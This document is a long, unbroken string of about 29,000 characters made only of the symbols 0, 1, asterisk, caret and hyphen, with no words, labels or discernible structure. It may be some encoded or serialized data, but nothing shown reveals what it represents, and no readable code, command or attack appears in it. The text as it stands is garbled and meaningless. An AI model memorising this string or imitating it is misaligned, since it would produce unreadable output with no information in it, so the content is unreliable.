101*^11*1*110101^11*1*1*001********************1*001*01*1011*--------01^-*-00^110101*^1011*10-11*^1*01*1*1*^1*****01***1^1**^^1*01*1*-----10--10101^1*-*001*01^1*1*^1********00110101*001*101*01*1*********-1*0^-001**00---101*011*001*1*-----10---001101*-*001*01^1*^110101*^1*****01***1011**0^^1*01*1*1*^1*****01***01*1*00^^1*01*1*011*001^1*^11*1101*0011****011**1*-*0101*-**^^-101010-1011*001*1011********************11*001*0^--------10110-*-00110110^1011*1*^-110110-11*0101*01*1*-----10---110-*-*001*01^1*^1101*********001011*00^1*^1*****01**001^101*00^^1*01*1*********10101*^-001**00--1*11*011*001*1*--------0-**0-*001*01^1*01011*011*001^1*0-1*1011*01*^1101*001*1*001*001*1*--------1^-1*-*1011*--------10^1*00-*001*01^1**00^-11*********^1*0^-001**00--110-*011*001*1*--------*-*00-*001*01^1*-1*0-11*011*001^1*11011*001*001^1*11**--------0^-1*-00-1*0-11*--------0-001*0-*001*01^1*01*^-11*********^1*0^-001**00--101011*011*001*1*--------1*011*0-*001*01^1*-01*-11*011*001^1*01101*********01^1******01***10-********0-001*****001***0-1*****001**0-*01*****01**010^101********01^-********0011*****************001**10-******001**-0011*****0011**11011******01**0-*******11**0^1******001***10-*****001**01*******01****1******01***01101*****01***-011********101011******01***^1********00101*1*****011**101101******01**10-001*****01****011********0011*******1**^11011*****01**00-101*****001**00^101*****001**0-*01********-1101******1**010-******01**1101*********0010-01*****001**^-1********011*^101*1*01*01*1**1*01^1*01011*-11*0-*01^1*001*******0-11010--01011*01^1*001*******-1*10--*11*01^1*001****01**0-010^--01101*01^1*001*******010101010--00101*01^1*001****01*****0--0^1*01^1*001****01**001**0--001101*01^1*********1***-001*1******01101*1*****011**-0-1**00-***1^1^1*010101*0101*------0-1101011011*-*011*01^1*-01*------0-1101*-*-*011*01^1**11*-11*--------0^-1*-*1011*-11*------0-110^-1*-*011*01^1**01*-11*********^1*0^-001**00---011*0101*01*1*-----^--101**00-*011*01^1*01101*0101*01^1*-01*--------1^-1*-*1101*-----^--01101**-*011*01^1*^1101*****00-0110^10101**^1^^1*0-0-11*1^1*1*1*********0^1*^-001**00--101101*0101*01*1*-----^--0^11*00-*011*01^1*0101*0-11*0101*01^1*11011*010101*001*0-----^--**1*0-*011*01^1*0-1*-11*011****001**^-00-101^11****01**01*001*0101*0101*11011010^1*0-^-*101**^^11*00101**1*0011****001**1^1^-101^11*******1^-1*101*1***1*0--------0^-1*-*0011*-11*-----^---1011*0-*011*01^1*1*1*-11*********^1*0010-00110101******010-1*0101*0-^-11*-01*-11*011****001**01101^-1011*01*0---------10-*-001*^^1*10-11**01*1*1*-----^--0110^1*-*011*01^1*^1101*****00^10-1010-1*001*010^-101*0^1*1*1*********1*1*--00^101^-*1011*001*1*-*001*1*-----^--0^1101*-*011*01^1*^110^-1^-11*1*^11*-0-11*1011*01*1*-*001^1**11010-01*-*001*1*011****001**-01^-101^11*******-0-1*10^101*001*1*01***1*0101*001^1*011****011***001*00101*01*001*1*-----^--0-1011*-*011*01^1*^1101******00110-001011**1*010^1*****01**00-***^1*1*1*1*001*001^1*0101^-101*110101******00110101*101******01**011*11*001******01**10101101*00^^1*01*1*10-00110-^-11*01101*^1*01*1*^1*01^1*1*******0010^^1011*-101*^1*0--------00110-*-00^110^^1*-11*1*^10^1010-11*-1*01*1*-----110--00^1*00-*011*01^1*^11*-11*********^1*0^-00110101******11011**101******1**00^1**001******1**0101***01*11****011**1*-*0101*-**^^-1010110101011*00^^11*******************001**01*0^110101******110-*00101******01**11011**001******01**-011**0^^1*0-----110--10^11*0-*011*01^1*00-*011****001**10101^-101^101^-101*110101******00110101*101******1**0011*01*001******1**01010-1*001*001*01*1*10-00110-^-11*01101**1*01*1**1*01^1*1*******0010^^1011*-101*^1**01*0--------01010-*-00^1101*-*1*^1********^-01*00^1011*01*1*-----110--00^101*-*011*01^1*1*^110-110-11*0-*01*1*********0011*0^-00110101******11011**10^^1*0-11*0-1*-11*011****011**0011*1*101*^11*1*110110^110110101**1*******************00101*01*01*0-*110101******110-*00101******01**1*1011*001******01**10--*00^^1*01011*00101^-1*001*1*011*001*1*-----110--*10-*-*011*01^1*00-*-11*-*001^1*01101*-----110--0010-1*-*011*01^1*-1*0-11*011*001^1*-**011*0011****001***01^1^-01101*0110101******11*11*0101******1***0^11*001******1**0110^11*001*11*00--------0^-1*-*101*0-11*-----10--10-1**-*011*01^1*1*^--110-11*-1*01*1*********0011*0^-001**00--101011*0101*01*1*-----10--^1011*00-*011*01^1*^110101*^1********^^11*001*-*01*1*1*^110-*0-*01*1*0101*01^1*01011*010101*0101*--------0^-1*-0010101*-11*-----10--^10101*0-*011*01^1*11011*-11*********^1*0^-001**00--1^11*0101*01*1*-----10---^11*0-*011*01^1*^1101********001010-*00^1*^1********-*11*00^-1*01*1*0101*01^1**11*-----10----11*0-*011*01^1*^1101********0^11011*00^1*^1^11010-11**01*1*1*0101*0110101******--*00101******11**0011*1*001******11**0^^1*001*11****01**01*001*0101*0101*11011010^1*0-^-10-1**^11011*00101*110101******-1*1*101*0011010-11*01011*-11*011****011**10-001*10^1101**-^-0^--011*001*0101*10-*0^1*-11*--------1^-1*-0010-*-----10---0^11*-*011*01^1*^1101********0^^11*00^1*^1*11*-1*01*1*********1*1*^-*-^--0^1*010-11*^1101*10^1*********1^1*001*01*******-1*10--*10^1********^10101*001*01*******-1*10--********0^10101*001*01*******-1*10--01**00---101*0101*01*1*--------1101**0-*011*01^1*0-1*0101*01^1*^11*--------^10-*-00^110^^1*-11*1*^1*********^11*001*-*01*1*--------01^1*00-*011*01^1*^11010^11*1*^1*****01**0101***0^1011*01*1*********1*1*010-00110101******-01101*101**1010-11*01101^-11*011*00--------^10-*-00^1101*101010-11*1*^1*****01****01**^1011*01*1*--------0110101*0-*011*01^1*1101*0-11*********^1*0^-001**00--1*11*0101*01*1*--------^1011*0-*011*01^1*01011*-11*0101*01^1*01101******01**01*001*****001****-*****011**101011******11**-011******01**11*011*****01***0101******11**1^^1*****001**0-101*****0011**1101^1*****001**-0^1********0110-1*****01**01*001*****001****-*****011**10^11******1***01******011**1011******0011**0101*1*****01**01**1****************01***01******01**00-101********0-101******11**11*01*****001**01011*1********0101011*****001**00-*******1**0-0101*********01101********-1101******1**^10-*****01**0010101*********011******0011***0-********01*0^101*1*11*01*1*0011*01^1*0-*0-11*1^1*1^1*001****01**0^110^--00^1*1^1*001*******-1*10--01*1*1^1*001*******010101010--*001*1^1*001****01**001**0--0-1*01^1*001****01*****0--00-*01^1*001****01**0-010^--01011*01^1*001*******0-11010--001101*01^1*********1***-001*1******00101*1******1**0^11***-***1^1^1*1*******0010101*011*001**01*0010-0101***01010-************1*1**********0010101*11************010-01101^1*********11*0010-0110101****01**00101*-10110-**11*00--------^10-*-00^11010--00-11*1*^1********-*11*00^^1*01*1*--------*^11*-*001*01^1*1*^-010^-11*^1*01*1*********0011*0^-00-*001101*0011*******0110-1*101*1***********011********00^101********00^101**********11**********11*******************0011*00101*1*01*01*1**1*01^1*01101*--------101011*00-*01*001^1*^110101*^-10-0-11*011*001*1*1*^1011*10-11*011*001*1*********0^1**-00--------1^-1*-*-1*--------0^101*0-*01*001^1*^11**********1*0^-001**00--1*11**1*0--------11*11*0-*01*001^1**11*0011*0-01*--------^10-*-00^1101******0-1010-01**0^1^^-011010-11*101*001*1*--------10-11*0-*01*001^1*01011**********1*0^-001**00--101101**1*0--------0-*1*-*01*001^1*^1101******0110-00101**00^1^^1*****01***0-1**^101*001*1*0011**011*0101*00101****01**0^1*1^-0--------0^-1*-*101*0-11*--------0^1101*-*01*001^1*-01**********1*0^-001**00---101**1*0--------11*011*-*01*001^1*0-1*0011*001101*********--********001**1********011*01*******************1**********0101***********11********01**1********0101011********001*1**********011********01101*0101*1*1*001*1*001*001^1*10-*011*001^1*001****01**0-010^--0101*001^1*001****01**0^110^--0^1*01^1*001****01**001**0--001101*01^1*********1***-001*1******0^1*1*****01**0^^1***001***1^11011****10101*01*******0^^110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******0^^-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1******0010101*11*******0010-1*101*11*******011**0010^-01*-*0010110101011*1101^101*001********00101*11*001*1**0101******0011*01*0101*1*****1101*01^1*********1***-*110^---------0-1*0-*10101*1^1*11*******1*-1*01011********-*******************************-*********00-*********00101*00101*^11*001*1*011*001^1*^11*01010^--------0010-1*-*0011*--------10^11*0-001011*0^11*********-**10-0010-01*011*-*00--------0010-*0-001011*010-*1101**011010-**01*001101*00101101010^1*01**101**011010-01*011**101****1**00-1*-1011011**11011******011**0011*101**--------1^^1*-001011*0^1*0-11*--------0010-1*-0011011*--------1*0101*-001011*00-1*********-*********001**0101*101*01^11*00^11010-10110-11*1*011*1*00101*00--------^-01*-001011*0^1101*10^1*********10101*001*01*001*1*0010^1********01*-*001*01*001*1*0101*001101*********110^1********0-011*********-101********01^-********0--********001^-********01^-********0^11*********1^101*******************0101*0101*10^1*01011*001101*001*001^1*001*******010101010--001101*01^1*********1***-001*1*******01*1********00-011***01***1^1^1***00--------01*1*00-001011*01101*0-11*01010^-*00--------001101*00-001011*01101*0-11*--------10110-*-00^11010110-10-11*1*^1^^10-11*011*001*1*--------1*001*0-001011*0^1101********0^1^1*00^1*^1********01*101*00^101*001*1*********00101*^-0010-01*011**1101011**0101101010^^11**0101**011010-01*011*00--------10^11*0-001011*00-1*1101*00101******00-0110-11011011011******011**0011*101**--------*-1*0-001011*00-1*1101*00101*0-11*--------1^-1*-*101*0-11*--------^1*1*-001011**011010^11*1*^-110110-11*101*001*1*********1011*********01**0101*101*01^11*00^11010^-00-11*1*011*1*0011**---------00101*-001011*0^1101********010-001*00^1*^1*****01**010110-*001*01*001*1*0101*001101*--------10-101*-001011**011*01^1*11********0-1*01011********11*1*********^101********00110^1********10^11*********0^1********00-^1********0-^1********************0101********1011********************0-^1********0011*0101*10^1*********011*01*0-*11*001^1*001****01**0-010^--0101*001^1*001****01*****0--*1*001^1*001*******0-11010--001101*01^1*********1***-001*1******0-*01********--11**0011***01^1^1******0--------011**00-*01*001^1*^1101*******1*0110-1*001*010^101*110-11*-*001*1*01010^1*******00-011*010-0-*00--------1^-1*-*1101*--------10^1*00-*01*001^1*^1101010101*-11*1*^1********1010^1*001*001*01*1*********0^1*010-0010-01*011**1*0----------*00-*01*001^1*^1101*****00^10-10^1**01*010^101011*-*001*1*0011**01101*01**1**011*00101101010^1*01**101**011010-01*011*00--------00-01*0-*01*001^1*1101*0-11*1101*00101*******11*10-1011011011******011**0011*101**--------1*-*0-*01*001^1*^1101*****00-0101*^101*00^1^^110-110-11*011*001*1*1101*00101*******010^1*101*1*******00^11**10---------^-1*-*0-*--------0010^1*-*01*001^1*1*^101101010-11*101*001*1*********0011*********01**0101*101*01^11*00^11010-^10-11*1*011*1*0011**--------1*1101*-*01*001^1*01101*0101*001101*--------110-01*-*01*001^1**11*01^1*11*******-10-*01011********1011011*******************110-*********101*1********110-*********001101********00101*1********1*1101********01010101********0-*********001010101*********11*********0011*0101*1*1*001*1*********101*1*0-*001*01^1*001****01*****0--0-*001^1*001*******-1*10--0011*001^1*001****01**0^110^--0101*001^1*001*******0-11010--001101*01^1*********1***-001*1******0011*01*****01**001*1***011***01^1^1*1*******0010101*********1011******00101**010101*****0011**1*0011*****01**01^^1****************00-*1*001******1010^1*1*1*1**************************************************************0101*00101*^1*^1*1*01*^1^1*^11***********0010-0-*1*1^1*0101****01**0^1*1^-001^1********001011*010-0-*1*1^1*011*00--------1^-1*-*-1*-----^--1*101*0-*0-*1^1*10-**********1*0--00^101^-*10^1*1*1*1^1*1*1*-----^--00^11*0-*0-*1^1*^1*0-11*1^1*1^1**11010-01*1^1*1*1*--------10110-*-001101101*011*1*^1*01010-11**11*1*1*-----^----1*0-*0-*1^1*^1101**********011*00^1*^101*^-11**00^1*1*********0^1*0-1^^11010-01*101*001*1*-*001*1*-----^--00-001*-*0-*1^1*1101*0-11*-*001^1**11010-01*-*001*1*0101****01**00101*-1011*001*1*1*011****001**1^1^-101^11*******00110-*101*1***01*1*1*011****001**-01^-10110-1*01*1**01*1*1*011****001**10101^-101^101*01*1**01*1*1*011****001**^-00-10110^1*01*1**01*1*1**01*1^1*011****001***01^1^-0011*00--------0^-1*-**1*-11*-----^--^10-*-*0-*1^1*-01*-11*********^1*0010-00110101******010-1*0101******1**00-1101*001******1**01010^1*00^-1*01*1*--------0^-1*-**1*-11*-----110---1**0-*0-*1^1*00-**********1*0010-00110101******010-1*0101*--0-11*10101010-11*0101*01*1*-----110---001*00-*0-*1^1*^1101********010110-*00^1*^^101^-11**11*1*1*-1*01^1*011****001**0^1011*10^1011*01*1*011*001*1*0-*01*1*0-*01^1*011****001**001^--01^101****01**01101010-1011*011*011****001**010^--01^101****01**01101010-101^1101*011****001**010^--011*11*01*1*-----110--10^11*0-*0-*1^1*^1101*****001^1011*-01*001*010^110101010-11*-11*1*1*1011*01^1*011****001**001^--01^101****01**01101010-10110-01*011****001**010^--01^101****01**01101010-10110-01*011****001**010^--01^101****01**01101010-101^1101*011****001**010^--011*11*01*1*-----110--1*0101*-*0-*1^1*1*1*-11*0011*01^1*011****001**0-110-110110110101******1*1101*101******11***1***1******11**00-01**1*101^101011**1*01*1*1101*01*1*-----110--011*11*-*0-*1^1*^1101*****00^1*^^11**1*010^1^1*0-11*10-*1*1*1101*01^1*011****001**--0-00-00101*01^1*0101^-101**1*01*1*^1*01^1*0101^101101**1*01*1*-----110--11010-*-*0-*1^1*^1101*****0010^1101010101**^1^^1********00-001*001*-1*1*1**1*01^1*110101******0101^1*101******01***0-1*001******01**01*001*001*1101*00101*1*1*01*101011*******001011*00101******11**10-1**01******11***001**01*1101*00101*1*1*00101*1^1*1*******0011**1011*-101*011****011**00^1*0010^-*001*1*011****001***1^1*101*1101*01*11011**1101^-*-*001*0101*110101******0-101*0101******01**101011**01******01**-***01*11*******001011*00101******1**00^1011*001******1**0-^11*001*11****011**1*-*0101*-**^^-1010101^-*00^10-********************-*01*01*11*******001011*00101******11***001**01******11**10-1**01*01*001*1*-----10--1101*01*-*0-*1^1*1101*0-11*-*001^1*01101******001**1101101010-0-*1*1^1*011*00--------1^-1*-*1101*-----10----001*-*0-*1^1*^1101*****0010-01101010101*001*010^110101010-11*10-*1*1*********0^1*010-*11*001*1*011*001^1*011****001**0-1**101*001*0-----10--1**11*-*0-*1^1*^1101********0^^11*00^1*^1********010-11*001*1011*1*1*101*001^1*110101******10101101*101******1**0-00-*001******1**01*1101*00^110101******^1011*0101******01***0^1*001******01**0011*1*00^110101******110-*0010^11010^-11*01011*011****001***1^1*101*1011*01*11011**1101^-^-*001*0101*001*001*1*001*001^1*110101******1*0101*101******1**01^-1*001******1**010101101*00^^1*******1**-00-10-0-*1*1^1*011*00--------00110-*-00^1101*00-0-11*1*^110^^-11**11*1*1*--------0^11*00-*0-*1^1**11*-11*********^1*0010-00110101******-01101*10^11011*11*110-11*^1*0--------^^1*0-*0-*1^1*^1101******01*110^11**01*010^-*010-11*10-*1*1*1011*0110101******0-*1*101******1**01****1******1**0-1***1*11****011**1*-*0101*-**^^-10101*0-1*001*1101********************001*01*01*001**11*00101^-001*1*1*0^1*1*1*--------011*01*-*0-*1^1*^1*0-11*1^1*1^1*01101*0^1*1^1*-***********-******1**1^1101*****001***011********************1^1*******************-1******001***10-1*****001**01010-********00--*****01**0-^11*****01**001010101*****011**01*1******01**^-11*****001**^-11*****011**1*11********00-1******0011**010^1******1**1011*1*****001**0-011******1**00-01*****001***001**********-1********010101011*****01***1*********00^11*101*1*-*1*1*00-*1^1*10101*-11*-----10--1^10101*-00-01*1^1**11**********1**0-00--------01^-*-00^110101*^-^^-11**11*1*1*1*^1********0101*1*001*0011*1*1*-----10--1^^11*-00-01*1^1*01101**********1*0^-001**00--1^11*10101*1*1*-----10---011011*-00-01*1^1*^11*10101*1^1*-01*--------1^-1*-00^11*-----10--^110-*-00-01*1^1*10-**********1*0^-001**00--101101*10101*1*1*-----10--10--1*-00-01*1^1*1011*0-11*10101*1^1*^11*--------0101**0-00-01*1^1*^1101********00^^1*00^1*^--*-11*01011*1*1*1101*0011****001**-11**10^110101******0-*1*101******01**1^1**001******01**10-**001*11****011**1*-*0101*-**^^1101010^^1**01*-1********************01*001*0^110101******-1*1*101******11**101***01******11**-*1**1*11****011**1*-*0101*-**^^110101010-001**^-01********************-*01*0^--------0^-1*-001011*0-11*---------1011*0-00-01*1^1*00-**********1*0^-001**00--1*11*10101*1*1*--------1**1*-00-01*1^1*01011*10101*1^1**11*0101*00101****01**0^1*1^-0---------10-*-001*^-110110-11*^11*1*1*--------00-001*-00-01*1^1*1101*0-11*********^1*0^-001**00---101*10101*1*1*---------10101*-00-01*1^1*^11010-10^-11*1*^-001*-11**11*1*1*10101*1^1*01101*********11*011********101011********00-101*******************0101011********00-101********0011011011********^1101********0-01101**********1********001^-********0^1******01***001******01**01101*********00-*0101*10-01*1*1*-01*1^1*0101*0-11*01011*1^1*001****01**001**0--0^11*1^1*001****01*****0--*011*1^1*001****01**0-010^--**^1^1*001*******0-11010--0-11*1^1*001*******010101010--00-1*1^1*001****01**0^110^--010-*1^1*001*******-1*10--001101*01^1*********1***-001*1******0101*01*****0101**1*001**00-***1^11011****10101*01*******1*^110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******1*^-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1******0010101*11*******10110-*101*11*******011**0010^^11*-*0010110101011*110101*1*001*********0110-*001*1**0101******0011*01*0101*1*****1101*01^1*********1***-*110^-----110---10-1*-*11*001^1*^1101********0110^11*00^1*^1********10-011*00^1101*01*1*01010^-*00--------01^-*-00^1101*****00-0^1*0-**^1^^1*****01***1101**0^-*001*1*--------1*01*00-*11*001^1*^11**********1*0--00^1101*1*001*1*1101101*011*^1*******1**11*01**1*01*001^1******01**0^^11*00^1011*******01**11*01*001*101**011010-01*011*00--------010^1*0-*11*001^1*-01*1101*00101******00-01011*101*1**--------^1101*0-*11*001^1*^1101*****00-^10110^11*001*010^10-0010-11*0101*01*1*1101**01*01*******0011*11010101*0--101**0^1*--------^10-*-00^1101********00101^1*00^1*^1^^10-11*^1*01*1*--------101*01*-*11*001^1*^1101*******1^-1*1*001*010^1^10^-11**1*01*1*********0^1*********1**0101*101*01^11*00^1101*011*-11*1*011*1*0011**--------*10101*-*11*001^1*01101*0101*001101*--------0^1101*-*11*001^1*^1101*****00110110-11*11*00^1^^1*****01**011*01**^-*001*1*01^1*11*******01010-*01011********0010-********01*0011********11011**********1101********0--01********--01********1011*1********--01******************0011*001********10^1********001101*0101*^11*001*1*********0-001*0-001101*01^1*001****01**001**0--00101*01^1*001*******-1*10--0^1*01^1*001****01*****0--*01*01^1*001*******010101010--0-*001^1*001****01**0^110^--001101*01^1*********1***-001*1*******1*01*****01***0-****1***1^1^1*--------1*1**-*01*001^1*^1101*0-00-11*1*^1010-00-11*-*001*1*01010^1*******0011**0010-0-*00--------1^-1*-0010-*--------101101*00-*01*001^1*^11**********1*0010-0010-01*011**1*0--------10-1*00-*01*001^1*00-*0011**01101*01*0101**011*00101101010^^101**101**011010-01*011*00--------1*101*0-*01*001^1*^1101********0^^11*00^1*^1^^10-11*101*001*1*1101*00101*******11*01*10^11011******011**0011*-**01**--------*0-*0-*01*001^1*0101*0-11*1101**101*--------01^-*-00^1101******^1**-**01*010^1*****001**^101**01*11*001*1*--------0-*1*-*01*001^1*^110^10-00-11*1*^1********11*101*00^101*001*1*********0^1*********1**0101*101*01^11*00^11010101^10-11*1*011*1*00101*00--------1*1101*-*01*001^1*10-*0101*001101*--------110-01*-*01*001^1*0-1*01^1*11*******^10-*01011********^1101*********0-1*******************0-**********011*********0011*1********^10101********^10101********01*101*******************0011*********0-001*********11*0101*1*1*001*1*********101*1*0-00-*001^1*001****01**0-010^--0011*001^1*001*******010101010--0101*001^1*001****01**001**0--001101*01^1*********1***-001*1******011*001*****01***001***0011***01^1^1*********010101*101****1**01011*0-10110101**11*00-----10---011011*-001011*0-01*-----10--101*-*-001011**11*0-11*---------00-*-00^1101*****00-1^101*11**1*010^1*****01**001***001*01*001*1*-----10--110--*-001011*011011*********-*00^-001**00--1^11*-*00--------1011**0-001011*01101101011011*1*^^101010-11**1*01*1*1101*0-01*--------01010-*-00^1101*****00-1*11011***1*010^1101^10-11*-*001*1*--------001101*00-001011*0^1*0-11**********1*0^-001**00--101101*-*00--------10-1*00-001011*00101*0-11*1101*0^11*110101******-1101*0101******11**-0-1*001******11**1*0011*001*01**11*00---------00-*-00^110101*^-010^-11*011*001*1*1*^1********110-11*001*11*001*1*--------1101011*0-001011*00-1*********-*00^-001**00--1*11*-*00--------110-1*0-001011**-*1101**011*0101*00101****1***-*1^-011**01**--------0010-1*-*0-*--------0^^1*-001011*0^1101******1^-110101**0^1^^^11*0-11*101*001*1*********1*1*^-001**00---101*-*00--------00110101*-001011*0^1101*****001*01*110-**1*010^1*****01****01**1*01*001*1*1101*001101*********011011********00-00-********10101101********101*01********01^101********0101011********0011011********00-*1*********011011********011011*******************0011011*********1101**********00-********0-*0101*10^1*01011*0^11**1*01^1*001****01**001**0--0-*001^1*001*******-1*10--0011*001^1*001*******0-11010--0101*001^1*001****01**0^110^--*1*001^1*001*******010101010--001101*01^1*********1***-001*1******001*001*****01**0^1101***101***1^1^1*1*******0010101*011*001**00110--*-1**01^1*************1*1**********001010^101*001*1**************************************************************0101*00101*^^1*1*1*0^1*1^1**11****-10-01*001^1*00101*01^1*11**-10-01*001^1*0101******00^1*0-1011*001*-11*^1*0--------001101*00-**1*1^1**11*1011*0110101******1011**010^--10-11*10-*011*****1**11*1*010^^101^-*101**01101*01***1**1****001***001*--0011*******10101**101******1**01*-**1******1**011*01**^--------00-01*0-**1*1^1*^11*0011*0110101******11*101*101******1**0010-01*001******1**0-0^1*001*11*0011**-*001101**1*001*1*--------010-1*0-**1*1^1*^1101*-00--0101*0010-11*1*01101*^1********110-01*001*01****01**001**0--01*^10-0^-11*001****01**001**0--00-0^-11*001****01**001**0--*****001^101101101101*00^1^^1*****01**0-***0^1011*01*1*110101******11*01*0101******1**001*1**01******1***-**00^-01*001*001*1*110101******0-11*00101********0010110-*001********00110-11*00^-01*001*001*1*001*001^1*0101****1**0^11*1^-********0-01101******************00-1101********0-*********0010-11********010110101******************0010-11*********01*0101*1*001*1*1**01*1^1*00-*---------01**-00^1*01^1*^11010-01*-11*1*^10-1^-11*0-*01*1*-1*011010^^10-11010^^1101******01^1010-1**0^1^^1********1*1011*00^1011*01*1*--------*-*00-00^1*01^1*00-**1**110^1**00--1^11*-*001*1*---------*1*0-00^1*01^1*10-*-*001^1*-01*0110--010^10-*--------1010101*0-00^1*01^1*1*^11*0110-11*0011*01*1*0011**110^1**00--101101*-*001*1*--------*1011*0-00^1*01^1*^11010^10^-11*1*^1*****01****11**1*011*01*1*-*001^1*^11*0101*0011*001*1**--10101*101*0-11*001*0-010^^1*01^1*01101*101**0110^1**00--1*11*-*001*1**0^-010^^1*01^1*0011*0-11*-*001^1**11*011*001^1*1*******001*0^1011*1*01*-11*1010--010^1*^--110-11*1101*01*1*^1010-010^^1*01^1*^11010--10-11*1*^1*01^-11*0101*01*1*0011**110^1**00---101*-*001*1*00-10-010^^1*01^1*1101*0-11*-*001^1*01101*********101011********00-1^1********10-01********010-001********11*1*********--********010-001******************00^1*********01^-********0101011********001^-********0101*1********01011*0101*10^1*01*1*^1*01^1*11011*0-*01^1*001****01**0-010^--01011*01^1*001****01**0^110^--*11*01^1*001****01**001**0--01101*01^1*001****01*****0--00101*01^1*001*******0-11010--001101*01^1*1**11010^1*1******01**1*****001**10-****001**001^11011********************01101*******1*00-1011**********11******01*00-1*********01*********************01101******-**010^1*****01**0-^1******11*00101*1********001*********************01101******101**1010101*****01**001^101******1**01**********1********1^101*001******10101*11***************************************************************101*00101*101^1^1*1*1^1^1^1*^11*00-0110101******001^^-11011011011******010-*01101*0---101*0^1*********1011****************************************************101*00101*101*1^1*1*1*1^1^1*^11*001101*-10110110--0101*1101*--------*^1*0-*-0^1^1*^1101*****00^1011011*1**01*010^110101*-11*00-*1*1*0^1*101101*101****01**1010101*010^-01*0^1*0101****01**00101*-101101^1*1*1*011****001**1^1^-101^11*******00^-*101*1**1^1*1*1*011****001**-01^-101^11****001**01101^-101^^1*1*1*1^1*1*1*011****001**10101^-101^11****001**00101^-101^^1*1*1*1^1*1*1*011****001**^-00-101^11****001***-00-101^^1*1*1*1^1*1*1*1^1*1^1*011****001***01^1^-0011*00^--10101*-1*0011010-0101*-0^1^1*1*^1*****01**0-***0^-10^1*1*0011*01*1^-01*0101********1*-101^11****001**01101^-101^^1*1*1*0^1*1^1*0101****01**0010101*010^-01*0^1**010-10101*-0^1^1*0-1*********0^-*******************001101**********^1********001101*********^-*****************************00101*********00^1*0101*^-0^1*1*0-0^1^1*-01*-01*1^1*0101****01**1^1010-101^101****01**--00-10110-*001*1*1^110-0101*0110^1^1*11011*-----10--^1101*-1^^11010-01*^101^-*11011*01*1*0-*01*1*101*-10101*0110^1^1*^110101*^^1*10-11*10-*1*1*1*^1********00-101*00^10-*1*1*0-*01^1**11010-01*0-*01*1********************10101*********0011********************0011******************************0-*00101*1*110^1*1*00110^1^1*00-*00-0110101******001^^-11011011011******011011*01101*0--110101*0^1******************************01011******************************00101*00101*^1010^1*1*01010^1^1*-01*001101*-101^110-11010^^110^1*010-11*1*^1*****01**001^1**0^11011*1*1*-----10---*011*-00-00^1^1*^1101*****0010^^1101011**^1^^101101**10^1*1*1*1*101101*101****01**0^101*010^10101*0^1*011****001**-01^-101^101*******0101*-101^1101*1*1*01101*1^1*1*******0010^^1011*-101*011*******-00-*10^1*1*1*1*011*****1**^11*00101**1*1*1*001****001**00-*0--00101****01**0-1^-10110-1*01*1*-*001*1*1*1*1^1*011********10-*101**0^-11*011*****1*001*001*010^101*001*1*001****001**-11*0--0011*****1**^11*00101*01*001*1*001****001**00-*0--0^1*0---------101*00-00-00^1^1*0-1**01*1^1*110101******001^1*0101******1**01**1*001******1**0^10101*00^110101*******-*00101******11**0110-**1******11**010^1**^^11*110101******-*1*0101******1**001101011*001******1**0-^11*00^110101******01*001*101******01**11011011*001******01**1010-1*001*101^1*11010-01*0-*01*1*1011*01*1*0101****1**01^^-00-0011****011**1*-*0101*-**^^-10101^10-*001*1011********************101*01*0^^--1010^11011*^1^-010^-00^1^1*^1101*****00-10-00-11**1*010^1*********11011*001*-1*1*1*0^1*00110^110101******0010^1*101******11**010^1**1******11**^-**01*101^10-*01*1*1011*01*1*-1*01*1*-1*01^1*0101****01**1*101*010^10101*0^1*001^-1010^-00^1^1*11011******01**011011*********01*101******************00110-*********010-1********110-******************************101**********101^1********0101*0101*10-00^1*1*-00^1^1**11*10101*1^1*0101****01***01010-101^101****01**10-^-10110-*001*1******01**0-*11*-*-*01^1*01101*0101010-010^10^^1^1*^11*1011*01^1*110101******11*11*0101******01***-11*001******01**110-11*00^110101******0-*1*101*********10^11*001*********01*11*001*11*******00101011*10^^-*011*001*101*^1**^11011**00^-11*-*********00110-*********-01*******************01^11****************************************00-*00101*1010^^1*1*10^^1^1**11*00-0110101******001^^-11011011011*******011*01101*0--^101*0^1*********1011****************************************************101*00101*1011*^1*1*11*^1^1*01101*001101*-10-0010-11010^^1101******01*1^-11**1*010^1*****01**01*^1*001*-1*1*1*-----10---11011*0-001*0^1^1*1101*0-11*^1*0101101*101****01**-*1*0101*0101*0^1*0101****01**00-^-101101101*01*1*110101******0-101*0101******11**001011**01******11**011***01*11****011**1*-*0101*-**^^1101010110^1**0^11011*******************00-1*01*0^110101******1101011*0101******11**10-01**1******11**110^1**1*11****011**0011*1*101*^11*1*110101^110101*1*001*******************01101*01*01*0-*011****01**01*001*0101*0101*11011010^1*0^^-*11**01*0-*00101*110101******110-*00101******11**--1**1******11**1^101**1*001*01*1*011****011**0011*1*101*^11*1*110-^1101*101*001*******************0-1*01*01*0-*-*001*1*00110-11010^^1101*****0010101*1*1101*001*010^101011*-11*0-1*1*1*---------1**0-001*0^1^1*0-1**1**110^110101******0010^1*101******1**0-11**001******1**01101011**1*11****011**0011*1*101*^11*1*1^10^-1^101*001*******************0-*001*01*1101*110101******110-*00101******01**00--*001******01***01011*001*001*01*1*--------101^1*0-001*0^1^1*^11*1101*01^1*0011*01*1*011****001**10101^-101^101*01*1*0011*01*1*011****001**^-00-10110^1*01*1*0011*01*1*0011*01^1*011****001***01^1^-0--------0^-*0-001*0^1^1**11*0101*01^1*0101****01***^10-101^11****001***1^1*101*-1*01*11011**0101^^-**001*0101*0101****01**1*0010-1011*01*01*1*011*001*1*0110^-010^1*0^1^1*00-*^1*01^1*0101****01***^10-101^11*******011**00101*1011*-*001011010-1*1101^11**1*********^-1*001*101****01**1*0010-1011*01*01*1*011*001*1**1*01^1*0101****01**011*1*0101*0101*0^1*001*-1010^1*0^1^1*01011******01**00101011*******************101*********00-*11******************001^11****************001***0^1*********-11********0-0101*********10-********0101**********011*0101*101*0^1*1*1*0^1^1*11011*00101*1^1*0101****01**101*10-101^101****01****10-101^11*001*1*-*001^1*0101****01**110-001^-0-----^--^^1*0-*1011*1^1*1101*0-11*011*001^1*011****001**101010101^-0110101******0-*1*101******1**01^-**1******1**010-11**1*11*******011**00101*1101*-*0010110101011*-010^1*001*********001*1*00^-*00-----^--^-1*0-*1011*1^1*^1101*011*1*^1********^1^1*00^10-*1*1*101*001^1*110101******001^1*010^11011*10110^-11*110101*******-*00101******11**10-**001******11**1*01**0^-01*110101******-*1*010^1011*0-11*00101*-11*110101******0